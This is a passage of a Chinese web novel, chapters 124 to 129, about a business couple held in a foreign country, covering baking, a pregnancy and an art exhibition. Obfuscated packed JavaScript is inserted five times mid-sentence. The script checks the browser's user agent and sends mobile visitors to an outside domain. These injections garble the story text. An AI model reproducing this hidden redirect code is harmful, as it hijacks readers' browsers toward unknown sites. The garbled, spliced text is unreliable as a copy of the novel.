为什么，她会如此无可救药地爱上这个男人。 因为他，永远都能给她她最想要的答案。 她的心，在这一刻彻底地安定下来。 所有的惶惑，不安，都烟消云散。 只剩下，满溢出眼眸的浓浓爱意。 “阿渊。” “我在。” “我爱你。” 陆沉渊的身体，微微一僵。 随即，他低下头，用一个缠绵而深沉的吻回应了她所有。 ………… …… 第124章 跬步 卧室内，一夜静谧。 窗外的天色，从墨蓝过渡到鱼肚白。 当第一缕晨光穿透纱帘的缝隙，墨清漓的睫毛轻轻颤动，缓缓睁开了眼睛。 她侧过身，看着身边还在熟睡的陆沉渊。 他的睡颜很安详，没有了平日里的深沉与锐利，线条柔和像个卸下所有防备的少年。 昨夜，她一句无心的“我爱你”，像是点燃了干柴的火星。 他用一个几乎要将她融化的吻，回应了所有。 那不是情欲的宣泄，而是一种失而复得的珍重。 墨清漓伸出手指，想去描摹他的眉眼，却又在半空中停住，怕惊扰了他的梦。 她就那样静静地看着，直到陆沉渊的眼皮动了动，也醒了过来。 四目相对。 空气中，弥漫着一种无需言语的温柔的默契。 “早。”陆沉渊的声音带着刚睡醒的沙哑，却格外动听。 “早。”墨清漓的嘴角，不自觉地向上弯起。 陆沉渊没有像往常一样立刻起床去做早餐。 他只是侧过身，将她揽进怀里，下巴轻轻蹭着她的发顶。 “清漓。” “嗯？” “夜里张奇发了加密消息。” 墨清漓的心，微微提了一下。 那个时间点的消息，通常意味着国内有大事发生。 “他说，汗青的一项基础专利，突破了。”陆沉渊的语气很平静，“任茜决定，向所有夏国企业，免费授权。” 墨清漓的眼中，闪过一丝惊讶，随即化为释然的笑意。 她太了解任茜了。 这位曾经的行政总监，如今的汗青女王，有着不输任何人的格局和魄力。 这一步棋，看似是放弃了巨大的商业利益，实则是在A国的技术封锁铁幕上，为整个夏国产业，撕开了一道口子。 “她做得很好。”墨清漓由衷地赞叹。 “是。”陆沉渊点头，“还有，连山那边，也拿到了一家关键供应商的长期供货协议。我们海外的供应链，稳住了。” 他没有说细节。 但墨清漓知道，林远能在A国主导的壁垒中，策反一个关键环节，这背后必然是一场没有硝烟的，惊心动魄的战争。 国内的同伴们，没有辜负他们的期望。 他们用自己的方式，在另一个战场上赢得了胜利。 而这场胜利会像蝴蝶效应一样，传递到他们所在的这片土地。 “所以，”墨清漓抬起头，看着陆沉渊，“我们在这里的筹码，更多了。” “对。”陆沉渊吻了吻她的额头，“J国，很快就会发现，A国不是他们唯一的选择。” “急于给我们定罪的压力，会变小。” 他停顿了一下，看着怀里的妻子，眼中满是宠溺。 “我们，可以有更长的假期了。” 墨清漓被他这句话逗笑了。 这个男人，总能用最轻松的语气，说出最精准的判断。 也总能，将宏大的战略博弈化为两人之间独有的情话。 …… 早餐后，陆沉渊去书房处理一些通过加密邮件发来的，必须他亲自审阅的战略文件。 墨清漓坐在客厅的沙发上。 阳光很好，透过落地窗洒在她身上，暖洋洋的。 她却觉得，有些无所适从。 在国内，这个时间点，她应该已经在墨氏集团的顶层办公室，听取高管们汇报工作了。 她的每一分钟，都被切割成无数个任务模块，精准，高效。 可在这里，时间仿佛被无限拉长，变得奢侈而空洞。 她看着陆沉渊为她准备的，精致的早餐盘，又看了看厨房里一尘不染的台面。 一个念头，忽然从心底冒了出来。 她，好像除了指挥千军万马，什么都不会。 这个认知，让一向骄傲的墨清漓，感到了一丝莫名的挫败。 她站起身，走进了那个对她而言，依然有些陌生的领域——厨房。 她想，至少，她可以学着，为他做点什么。 比如，做一个他喜欢的，巴斯克芝士蛋糕。 这看起来，似乎不比分析一份几百页的财务报表更复杂。 她从平板上找出评分最高的食谱，像研究项目计划书一样，仔细阅读每一个步骤。 酒店厨房的设备很全，她很快找到了所有材料：奶油奶酪、淡奶油、砂糖、鸡蛋…… 她将食材一一称重，动作严谨得像在进行一场化学实验。 一切似乎都在掌控之中。 但在打发蛋液和砂糖的环节，她显然低估了厨师机的力量。 当她把速度档位猛地推到最高时，搅拌盆里的蛋液混合物瞬间飞溅出来。 更糟糕的是，她在转身拿面粉时，忘了关掉厨师机，衣袖不小心带倒了旁边半开的低筋面粉袋子。 一时间，白色的粉末如同一场微型雪崩，洋洋洒洒地飘满了半个操作台，甚至给她的头发和脸颊都覆上了一层薄薄的白霜。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348570|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清漓？” 书房的门被推开，陆沉渊快步走了出来。 他处理完文件，没听到客厅有动静，便出来看看。 然后，他就看到了眼前的景象。 他的妻子，曾经在谈判桌上寸步不让的墨氏女王，此刻鼻尖上沾着一点可笑的面粉，正瞪着那个一片狼藉的操作台，眼神里满是罕见的，不甘与懊恼。 陆沉渊先是一愣，随即明白了什么。 眼前的景象，可爱得让他心头发软。 他走过去，从背后环住她的腰，抽出一张纸巾，轻轻擦拭着她脸颊上的面粉。 “这是在……研发新式武器？”他笑着问。 “……蛋糕。”墨清漓的脸颊，有些发烫，声音低得像蚊子哼。 “想给我做的？”陆沉渊又问。 墨清漓的脸更红了。 她把头埋进他的怀里不说话。 这是她人生中，为数不多的窘迫时刻。 陆沉渊低低地笑了起来，胸腔的震动传到她的脸上。 “我的荣幸。”他柔声说，“不过，看来我们的厨房，经历了一场硬仗。” 他拉着她的手，走到沙发边坐下。 “清漓，这些事，我来做就好。” 墨清漓却摇了摇头。 她抬起头，认真地看着他。 那双漂亮的眼睛里没有了窘迫，取而代之的是一种不服输的清亮的光。 “不。”她说，“我想学。” 陆沉渊有些意外。 “我想学着，怎么烤一个，不会塌陷的蛋糕。”墨清漓的语气，很坚定。 “我想学着，怎么煲一锅，不会糊底的汤。” “我想学着，怎么把你书架上的那些书，分门别类地整理好。” “阿渊，我不想只做一个，被你照顾得无微不至的囚徒。” 她顿了顿，一字一句地说道：“在这个偷来的假期里，我也想找到，我的新战场。” 她的战场，不再是纵横捭阖的商业帝国。 而是这间套房里，方寸之间的，人间烟火。 陆沉渊的心，被狠狠地触动了。 他明白了，她不是在闹脾气，也不是一时兴起。 她是墨清漓。 她永远不会允许自己，成为一个依附于任何人的美丽花瓶。 即便是被困在牢笼里，她也要以女王的姿态，去征服一个新的领域。 哪怕这个领域，只是生活本身。 “好。”陆沉渊凝视着她，郑重地点了点头。 “我教你。” 第126章 平衡 时间，是最高明的画师。 它能将最深的伤痕，描摹成浅浅的印记。 也能将最华丽的牢笼，晕染出生活的底色。 又是一个月过去。 J国的秋意，越来越浓。 皇家大酒店顶层套房的露台上，那几盆墨清漓亲手栽种的枫树，叶子已经红透，像一团团燃烧的火焰。 这天清晨，墨清漓醒来后，接到了芦谨麟律师的电话。 “陆太太，早上好。”芦谨麟的声音，带着一丝轻松，“有个好消息。” “J国检方，刚刚通知我方。针对您的行动限制，将进行一次调整。” 墨清漓很平静地听着这个消息。 这段时间，类似的好消息，已经有过几次。 从一开始的绝对禁止外出，到后来可以在安保陪同下，在酒店指定区域活动。 再到上周，她被允许使用非加密网络。 J国的司法天平，正在以肉眼可见的速度，向他们倾斜。 “怎么调整？”墨清漓问。 “您脚上的电子镣铐，将被移除。”芦谨麟说， “另外，您每周，将被允许有两次，在规定时间内离开酒店，但活动范围，仅限于哥都市。” 这是一个巨大的进步。 这意味着，她从一个名义上的“重犯”，变成了一个处于保释期的“嫌疑人”。 “我知道了。”墨清漓的语气，依然淡然，“谢谢您，芦律师。” 挂断电话，她低头，看了看自己光洁的脚踝。 那个冰冷的镣铐，很快就要消失了。 她以为自己会欣喜若狂。 但内心深处，却只有一片湖水般的宁静。 她走到厨房。 陆沉渊正系着围裙，在烤箱前，专注地看着里面的变化。 烤箱里，是一个巴斯克芝士蛋糕。 这是墨清漓的最新作品。 经历了最初几次的面粉大战和烤糊悲剧后，她终于掌握了诀窍。 如今，她做出的巴斯克蛋糕，外层焦香，内里绵密，连陆沉渊都赞不绝口。 “阿渊。”她从身后，轻轻抱住他的腰。 “醒了？”陆沉渊回头，看到她，脸上露出一抹温柔的笑意，“镣铐的事，芦律师告诉你了？” “嗯。”墨清漓把脸埋在他的背上，“你好像一点都不意外。” “夏国那边，又敲了J国一笔。”陆沉渊的语气，云淡风轻。 “渊龙和J国最大的汽车集团，达成了一项新能源专利交叉授权的协议。” “J国需要我们的技术，来对抗A国和E国车企的压力。” “他们总要，拿出点诚意来。” 墨清漓笑了。 这个男人，永远在用最通俗的语言，解释着最复杂的国际博弈。 他总是这样，将那些看不见的，惊心动魄的交锋，轻描淡写地，化为她可以安心的每一个细节。 “叮”的一声。 烤箱时间到了。 陆沉渊戴上厚手套，将蛋糕取了出来。 浓郁的奶香，瞬间溢满了整个厨房。 “尝尝？”他用小勺，刮了一点点温热的蛋糕芯，递到她嘴边。 墨清漓张口，含住。 香甜，丝滑，入口即化。 “我决定了。”她看着他，忽然说。 “决定什么？” “我明天，要回墨氏集团，开一次全球视频会议。” …… 这个决定，在墨清漓看来，顺理成章。 但在墨氏集团内部，却掀起了轩然大波。 自从墨清漓被困J国，集团的日常运营，就由几位副总裁和元**同负责。 而墨振邦似乎一点重出江湖的打算也没有。 虽然有墨清漓的遥控指挥，但终究隔着一层。 军心，难免浮动。 如今，女王要正式“回归”，哪怕只是通过屏幕。 所有人的神经，都瞬间绷紧了。 第二天上午十点。 墨清漓坐在书房，屏幕上，是墨氏集团全球各地分公司负责人的脸。 她穿着一身剪裁得体的白色西装，妆容精致，眼神锐利。 几个月来养成的温婉气息，被她完美地收敛起来。 此刻的她，又是那个杀伐果断的，墨氏女王。 会议开始。 “南亚区的季度财报，我看过了。”她的目光，精准地锁定在其中一个屏幕上， “利润率，下滑了三个百分点。哈桑，告诉我原因。” 被点名的南亚区总裁哈桑，额头渗出了细密的汗珠。 他开始解释，说市场环境恶化，竞争对手恶意倾销等等。 在过去，这些理由或许可以蒙混过关。 但墨清漓，却一针见血。 “你的库存周转天数，增加了七天。而你的主要竞争对手，只增加了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348572|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天。” “这不是市场问题，是你的管理问题。” “会后，给我一份详细的整改方案。如果下一个季度，还没有起色，你就该考虑，换个地方发挥你的才能了。” 哈桑的脸，瞬间变得惨白。 会议室里，一片死寂。 所有人都感受到了，女王的威严，分毫未减。 甚至，比以前，更加敏锐，更加洞察本质。 接下来的一个小时，她精准地点出了几个问题。 每一句话，都直击要害。 每一个问题，都切中肯綮。 她就像一个最高明的外科医生，冷静地剖析着这个庞大商业帝国的每一寸肌理。 会议的最后。 她看了一眼手表。 “今天就到这里。”她说，“下周同一时间，我要看到你们的解决方案。” 说完，她没有丝毫留恋，直接切断了视频。 书房里，恢复了安静。 墨清漓靠在椅背上，长长地舒了一口气。 刚才那股凌厉的气场，缓缓散去。 她揉了揉眉心，感到了一丝久违的疲惫。 但更多地，是一种掌控全局后的满足感。 书房的门被推开。 陆沉渊端着一杯热茶，走了进来。 “辛苦了，墨总。”他将茶杯，放到她手边，笑着调侃。 “见笑了，陆总。”墨清漓也笑了，端起茶杯，喝了一口。 温热的茶水，顺着喉咙滑下，驱散了她身上的疲惫。 “感觉怎么样？”陆沉渊问。 “还行。”墨清漓想了想，说，“就是觉得，有些事情，变了。” “哦？” “以前，开这种会，我恨不得把每一分钟都榨干。我觉得，离开了我，公司下一秒就会崩溃。” “但刚才，”她看着窗外，“我忽然觉得，其实没那么严重。” “哈桑的管理，确实有问题。但墨氏，不会因为他一个人的平庸，就伤筋动骨。” “我指出了问题，给了他方向和压力。至于他要怎么做，能做到什么程度，那是他的事。” “我好像，没那么想去控制每一个细节了。” 陆沉渊安静地听着，眼中带着欣赏的笑意。 这是她心态上的一次巨大蜕变。 “这让我想起了你。”墨清漓转过头，看着他。 “你对渊龙，也是这样。” 第127章 不用了 墨清漓看着陆沉晏，缓缓说道， “你把林远和任茜推到台前，给了他们最大的授权，也给了他们犯错的空间。” “你好像，从来不怕渊龙，会离开你。” 陆沉渊笑了笑。 “一家健康的公司，就像一个健康的孩子。”他说， “你不能永远把他绑在身边。你得教会他自己走路，自己吃饭，自己去面对这个世界的，风风雨雨。” “父母的责任，不是替他走完一生的路。而是在他启程时，为他指明一个正确的方向，然后，学会得体地退出。” “公司的拥有者，也是一样。” “去个人化，不是一句口号。它是一种，更高级的自信。” 墨清漓静静地听着。 “得体地退出……”她轻声重复着这几个字，眼中闪过一丝复杂的光芒。 她想到了墨家的那些叔伯。 他们把墨氏集团，当成自己的私产，死死地攥在手里，不肯放开任何一丝权力。 他们总觉得，只有墨家的人，才能管理好墨家的产业。 如果不是她横空出世，墨氏，恐怕也要陷入内耗中。 她看着陆沉渊。 这个男人，一手缔造了比墨氏更庞大的商业帝国，却能如此轻易地说出“退出”两个字。 他的格局，他的胸襟，早已超越了所谓的家族传承，企业归属。 他想构建的，是一个生生不息的商业生态。 而她，过去虽然也手腕强硬地推行改革，但骨子里，依然没有跳出“墨氏是墨家的”这个思维定式。 “阿渊，”她忽然问，“如果，有一天，墨家后继无人，再也出不了一个，能撑起墨氏的人，该怎么办？” 这是一个，她以前从不敢深思的问题。 但现在，她想听听他的答案。 陆沉渊握住她的手。 “那就把它，交给最专业的人。”他看着她的眼睛，认真地说。 “成立一个家族信托基金，持有股份，享受分红。” “这样，无论墨家的后人是商业奇才，还是只想当个画家，音乐家，他们都能衣食无忧，体面地生活。” “而墨氏集团，也能摆脱家族的束缚，走得更远，更稳。” “就像，当初我对陆氏集团所做的那样。” 可是，她和他不一样。 当时，陆氏集团是一艘将要沉没的巨轮，陆沉渊可以破釜沉舟。 而墨氏集团，现在如日中天。 而墨清漓，也一直认为自己是墨氏的守护神。 她从未想过，有一天她也可能成为墨氏发展的最大枷锁。 同时，她也是墨氏集团的囚徒！ 陆沉渊的话无疑在她心里播下了一颗种子，也似乎让她的心态有了不一样的变化。 那次谈话后，墨清漓的生活，似乎进入了一个全新的更加从容的境界。 她开始重新规划自己的时间。 上午，她会高效地处理完墨氏集团最核心的事务。 下午，则完全是属于她和陆沉渊的时间。 他们会一起去露台，给那些花草浇水，修剪枝叶。 陆沉渊会给她讲，他前世在农村扶贫时，学到的那些农业知识。 哪种植物喜阴，哪种植物喜阳，怎么看土壤的酸碱度。 墨清漓听得津津有味，像个好奇的学生。 她还迷上了书法。 陆沉渊为她寻来了最好的笔墨纸砚。 她就坐在窗边，一笔一划地，临摹着那些古代名家的字帖。 从一开始的僵硬生涩，到后来的流畅自如。 她的心，在笔墨的浸润下，变得愈发沉静，也愈发通透。 每周两次的外出时间，成了两人最期待的“约会”。 他们不会去那些奢侈的商场或者米其林餐厅。 陆沉渊会带着她，去哥都的美术馆，一待就是一下午。 他们会并肩站在一幅画前，讨论着光影，色彩，和画家笔下的故事。 他们也会去一些安静的，有特色的旧书店。 在泛黄的书页和墨香中，消磨一个下午的时光。 有一次，他们甚至像普通情侣一样，去看了一场电影。 当灯光暗下，陆沉渊在黑暗中，悄悄握住她的手时，墨清漓的心跳，漏了半拍。 她忽然发现。 她好像，把过去二十几年，缺失的少女时光，都重新体验了一遍。 她依然强大，独立，智慧。 但她的内心，却变得越来越柔软，越来越丰盈。 她意识到，放弃对工作的绝对控制，并没有让她失去什么。 反而，让她拥有了更多。 她拥有了欣赏一朵花开的时间。 拥有了品味一杯清茶的心境。 拥有了，和心爱之人，并肩看夕阳落下的从容。 她发现，原来不放弃事业的同时，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348573|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依然有足够的余力，去做好其它的事。 去体验，一个更完整，更丰富的人生。 比如…… 一个念头，像一颗种子，悄无声息地，在她心底，生根，发芽。 这天晚上。 两人洗漱完毕，躺在床上。 陆沉渊像往常一样，拿起一本J国历史的书，准备看一会儿再睡。 墨清漓却从他手里，抽走了书。 “阿渊。”她侧过身，看着他。 “嗯？”陆沉渊放下书，有些疑惑地看着她。 今晚的她，眼神似乎有些不同。 亮晶晶的，像藏着漫天星光。 “我今天，在看育儿杂志。”她忽然说。 陆沉渊一愣。 “杂志上说，宝宝在母亲肚子里的时候，就能听到外界的声音。” “父亲，应该经常对着妈妈的肚子，和宝宝说话，给他讲故事。” 她的声音很轻，很柔。 却像一颗颗石子，投进陆沉渊平静的心湖，荡起圈圈涟漪。 他不是傻子。 他瞬间明白了她的意思。 他的呼吸，变得有些急促。 喉结，不自觉地上下滚动了一下。 他看着她，看着她眼中那抹，混杂着羞涩，期待，和决然的神采。 他的心，被一种巨大的，难以言喻的狂喜和温柔，瞬间填满。 他翻过身，将她紧紧地，拥入怀中。 身体的温度，隔着薄薄的睡衣，传递着彼此的心跳。 情到浓时，一切都变得水到渠成。 陆沉渊的呼吸，渐渐变得粗重。 他撑起身，习惯性地，准备去床头柜拿东西。 一只柔软的手，却拉住了他的手臂。 “阿渊。”墨清漓的声音，在静谧的夜色中，带着一丝微不可察的颤抖。 “不用了。” 陆沉渊的动作，僵住了。 他低下头，在昏暗的光线中，对上她那双明亮的眼眸。 那里面，有千言万语。 但最终，都汇成了一句，他听懂了的邀请。 一个，关于未来的，最郑重的邀请。 他再也控制不住自己。 他低下头，用一个比以往任何时候，都更加深沉，更加缠绵的吻，回应了她所有。 窗外，月华如水。 室内，一室旖旎。 这个偷来的假期，这个华丽的牢笼，在这一晚，终于孕育出了最美的希望。 第128章 孩子 日子一天天过去，像指尖滑过的温润的丝绸。 墨清漓的生活，被一种全新的期待填满。 那个晚上之后，她开始下意识地，更加爱护自己的身体。 她戒掉了咖啡，换成了温牛奶。 她会更早地结束上午的工作，留出午睡的时间。 陆沉渊把这一切看在眼里，什么都没说，却做得更多。 他开始研究孕期的营养食谱，变着花样地为她准备一日三餐。 那些原本用来处理全球战略文件的平板上，收藏夹里，悄悄多出了许多关于孕产知识的链接。 时间进入了第二个月。 墨清漓的生理期，迟了七天。 这似乎已经是一个再明确不过的信号。 那天早上，陆沉渊去和芦谨麟律师会面，商讨“灯塔”基金会下一阶段的工作。 墨清漓一个人，在空旷的套房里，拿出了早就准备好的验孕棒。 她走进浴室，关上门。 等待结果的那几分钟，比等待一场百亿级别项目竞标的结果，还要漫长。 她的心跳，快得有些失控。 她看着那片小小的显示区，慢慢地，浮现出第二道清晰的红杠。 成了。 墨清漓靠在冰冷的墙壁上，深深地吸了一口气。 她没有尖叫，也没有喜极而泣。 只是伸出手，轻轻地，放在自己依然平坦的小腹上。 那里，一个全新的生命，正在悄然萌发。 是她和陆沉渊的。 是他们爱情的结晶，也是他们在这场无声战争中最坚实的盟友。 这个认知，让她瞬间充满了无穷的力量。 所有的不安，所有的不确定，都在这一刻烟消云散。 她知道，她要为了这个孩子，变得更强。 也要为了这个孩子，和他的父亲一起，赢得这场战争。 …… 陆沉渊回来的时候，看到墨清漓正坐在客厅的沙发上，安安静静地看书。 阳光透过窗户，洒在她身上，给她镀上了一层柔和的金边。 一切如常。 但他还是一眼，就看出了她的不同。 她的眉眼间，多了一种他从未见过的温柔的光。 “回来了？”墨清漓抬起头，对他笑了笑。 “嗯。”陆沉渊走过去，在她身边坐下，“芦律师那边很顺利。‘灯塔’的影响力，已经开始让J国主流社会，无法忽视了。” 他习惯性地，向她汇报着战况。 墨清漓却摇了摇头。 “阿渊，今天不谈工作。” 她放下书，拉过他的手，轻轻地放在了自己的小腹上。 陆沉渊一愣。 他的掌心，能感受到的，只有她衣服柔软的布料，和她温暖的体温。 他有些不解地看向她。 墨清漓没有说话。 只是用那双明亮的眼睛，静静地看着他。 那眼神里，有喜悦，有羞涩，有郑重，还有一丝小小的狡黠。 陆沉渊的瞬间想到了什么。 一个不可思议的，却又无比清晰的念头，猛地窜入他的脑海。 他的呼吸，瞬间凝滞了。 “清漓，你……”他的声音，有些干涩。 墨清漓终于忍不住，笑了起来。 她凑到他耳边，用只有两个人能听到的声音，轻声说： “陆先生，恭喜你。” “我们的队伍，壮大了。” 轰的一声。 陆沉渊感觉自己的大脑，像是被一枚幸福的**，炸成了一片绚烂的空白。 他僵在那里，一动不动。 过了许久，他才像个迟钝的机器人一样，缓缓低下头。 他看着自己放在她小腹上的那只手，又抬起头，看着她带笑的眼睛。 确认自己，不是在做梦。 他没有欣喜若狂地把她抱起来。 也没有语无伦次地说些什么。 他只是俯下身，小心翼翼地，将耳朵，贴在了她的肚子上。 动作虔诚得，像是在聆听神谕。 “阿渊，现在还什么都听不到的。”墨清漓被他的样子逗笑了，忍不住伸手，抚摸着他的头发。 “我能听到。”陆沉渊闷闷的声音，从她的小腹处传来。 “是我们的心跳。” 墨清漓的眼眶，微微一热。 …… 有了孩子，生活的节奏似乎也发生了变化。 两人的生活，更加规律，也更加温馨。 陆沉渊第一时间，将这个消息告诉了家人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348574|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >电话那头的楼梦玲在短暂的沉默后，先是高兴，随后却轻轻地哭出声来。 对儿子和儿媳，有喜悦，有担忧，有心疼。 她几乎是立刻就做了决定。 “阿渊，你别管了。妈过去照顾你们。” 陆沉渊本想拒绝，不想让她奔波劳累。 但墨清漓却劝他：“让妈来吧。她不亲眼看看我们，不会安心的。” “而且，”墨清漓笑了笑，“我也想，有个人，可以问问经验。” 陆沉渊这才点头同意。 一周后。 楼梦玲抵达了哥都。 她瘦了一些，但精神很好，眼神里满是为人母的坚毅。 看到墨清漓的那一刻，她快步上前，紧紧握住她的手，眼圈又红了。 “好孩子，辛苦你了。” 她没有多问案子的事，也没有抱怨这里的环境。 她的全部注意力，都在墨清漓的身上。 “想吃什么？妈给你做。” “这酒店的床舒不舒服？要不要换个更软的床垫？” “你这衣服太紧了，不行，得穿宽松的。” 楼梦玲的到来，像一股温暖的春风，吹散了这间顶层套房里最后一丝清冷。 陆沉渊看着母亲忙前忙后的身影，心里充满了暖意。 然而，让他和楼梦玲都没想到的是。 一个不速之客，也悄然而至。 海州著名画廊的老板，王通文。 他是在楼梦玲抵达的第三天，出现在酒店大堂的。 理由冠冕堂皇。 “楼女士，陆先生，陆太太，真巧。”他穿着一身儒雅的休闲西装，笑得温和， “我正好过来，和J国国家美术馆，商谈一个画展的合作。” 楼梦玲看到他，脸上闪过一丝不自然。 “王先生……你也来哥都？” “是啊。”王通文的目光，状似不经意地，在楼梦玲身上停留了一秒，“世界这么大，也这么小。” 陆沉渊在一旁，将一切尽收眼底。 他没有戳破。 只是礼貌地，伸出手。 “王先生，欢迎。” 陆沉渊的心里，却流过一个念头， 这个男人的出现，或许，会带来一些意想不到的变数。 第129章 意外的援手 事实证明，陆沉渊的预感是准确的。 王通文确实是来办画展的，而且办得声势浩大。 他以海州画廊的名义，联合了J国国家美术馆，共同举办了一场名为“东方之韵”的当代夏国水墨艺术展。 参展的全是夏国最顶级的艺术家。 其中，最引人注目的是一幅没有署名，却被放在最核心位置的作品。 画的是江南的雨巷，笔触细腻，意境悠远。 画里，有一种超然物外的宁静和诗意。 那是楼梦玲的作品。 画展的开幕酒会，冠盖云集。 J国顶级的文化名流，艺术评论家，收藏家，甚至一些退隐的政界元老都出席了。 陆沉渊和墨清漓作为“家属”，也受邀参加。 当然，他们的身边，始终跟着几名J国方面派来的便衣安保人员。 酒会上，王通文像一条游刃有余的鱼，在人群中穿梭。 他向每一位贵宾介绍着夏国的艺术。 他的言谈儒雅风趣，对艺术的见解深刻独到。 他成功地将所有人的焦点，都集中在了艺术本身。 没有人去过多关注他身后，那个被软禁的夏国科技巨头。 这正是陆沉渊想要的。 一个非官方的，柔软的，可以与J国上层社会平等对话的平台。 “陆先生，这位是皮耶罗先生。” 王通文领着一位颇有贵族气质的欧裔老者，皮耶罗。 陆沉渊听到这个名字，脸上并没有任何变化。 心中闪过一个家族，皮耶罗家族，J国著名的**世家。 只不过，这家族的布局远比人们看到的要复杂得多。 比如，小皮耶罗作为皮耶罗家族的后起之秀，逮捕墨清漓的急先锋，是J国的**。 而今天这位老皮耶罗，则是著名的**。 “皮耶罗先生是J国自由党的精神领袖，也是一位资深的艺术收藏家。” 自由党，是J国最大的在野党。 一直以思想开明，亲近夏国而著称。 “皮耶罗先生，久仰。”陆沉渊微微颔首，只字不提小皮耶罗的事。 “陆先生，少年英雄。”老皮耶罗的夏国语，说得有些生硬，但眼神里却带着善意。 他看了一眼陆沉渊身边的安保人员，笑了笑。 “J国是一个很讲文明的国家。但有时候，又很一个不懂待客之道的国家。” “让陆先生和陆太太，见笑了。” 一句话，就表明了他的立场。 陆沉渊也笑了。 “入乡随俗。”他说，“J国是美丽的国家。我和我的妻子，都很喜欢这里的艺术和文化。” “我们只是在这里，度过一个比较长的假期。” 两人没有谈任何敏感的，**或经济话题。 他们聊的，是艺术，是画，是雕塑，是音乐。 老皮耶罗惊奇地发现。 眼前这个被A国媒体，描绘成“科技恶龙”的年轻人，对J国文化的理解，甚至比许多J国人，还要深刻。 他身上没有一丝一毫的戾气和攻击性，只有一种超越了年龄的从容和睿智。 临走时，老皮耶罗对陆沉渊说： “陆先生，希望您的假期，不会太长。” “也希望，我们很快能有机会，在夏国，品尝到真正的龙井。” 这是一个蕴含着无限深意的邀请。 陆沉渊知道，继芦谨麟的法律战线之后。 他的第二条战线，也成功开辟了。 …… 送走宾客，画廊里安静下来。 王通文走到楼梦玲面前。 “梦玲，你的画，是全场最受欢迎的。”他的眼中满是真诚的欣赏。 “谢谢。”楼梦玲有些恍惚。 她已经很久，没有成为过人群的焦点了。 她看着不远处，正和墨清漓站在一起，低声说话的儿子。 她忽然发现，自己的人生，好像确实也可以有新的可能性。 如果说，王通文的画展，为陆沉渊敲开了J国上层精英的门。 那么，他的下一步，则是要在这片土地上找到更深厚的根基。 他把目光，投向了J国的夏裔群体。 “灯塔”基金会，帮助的是底层。 但他还需要团结那些，在J国已经取得了一定社会地位的夏裔精英。 这些人，是夏裔社区的大脑和脊梁。 他通过芦谨麟律师，约见了一位老人。 刘九文教授。 哥都大学历史系的荣休教授，研究了一辈子J国的夏裔移民史，在夏裔文化圈里，德高望重。 见面的地点，在刘教授的家里，一间充满了书卷气的老式宅院。 陆沉渊没有带任何人。 他像一个最普通的晚辈，提着一盒上好的茶叶登门拜访。 两人坐在院子里，喝着茶。 “陆先生，你找我这个糟老头子，有什么事？”刘教授很直接。 “向前辈，请教历史。”陆沉渊的姿态，放得很低。 “我最近在看您写的《百年孤航》，感触很深。” 《百年孤航》，是刘教授的代表作，记录了夏裔在J国一百多年的血泪奋斗史。 听到书名，刘教授的眼神柔和了一些。 “哦？你一个搞高科技的，也对这些故纸堆感兴趣？” “科技，决定我们能走多快。”陆沉渊缓缓地说， “但历史，决定我们从哪里来，要到哪里去。” “不了解我们脚下这片土地的过去，就看不清它的未来。” 刘教授沉默了。 他端起茶杯，仔细地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348575|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量着眼前的年轻人。 这张脸，他最近在J国的报纸上见过很多次。 媒体对他的描述，褒贬不一。 但此刻，他看到的只是一个谦逊、沉稳以及眼神清澈的后辈。 “你想知道什么？”刘教授问。 于是，陆沉渊开始提问。 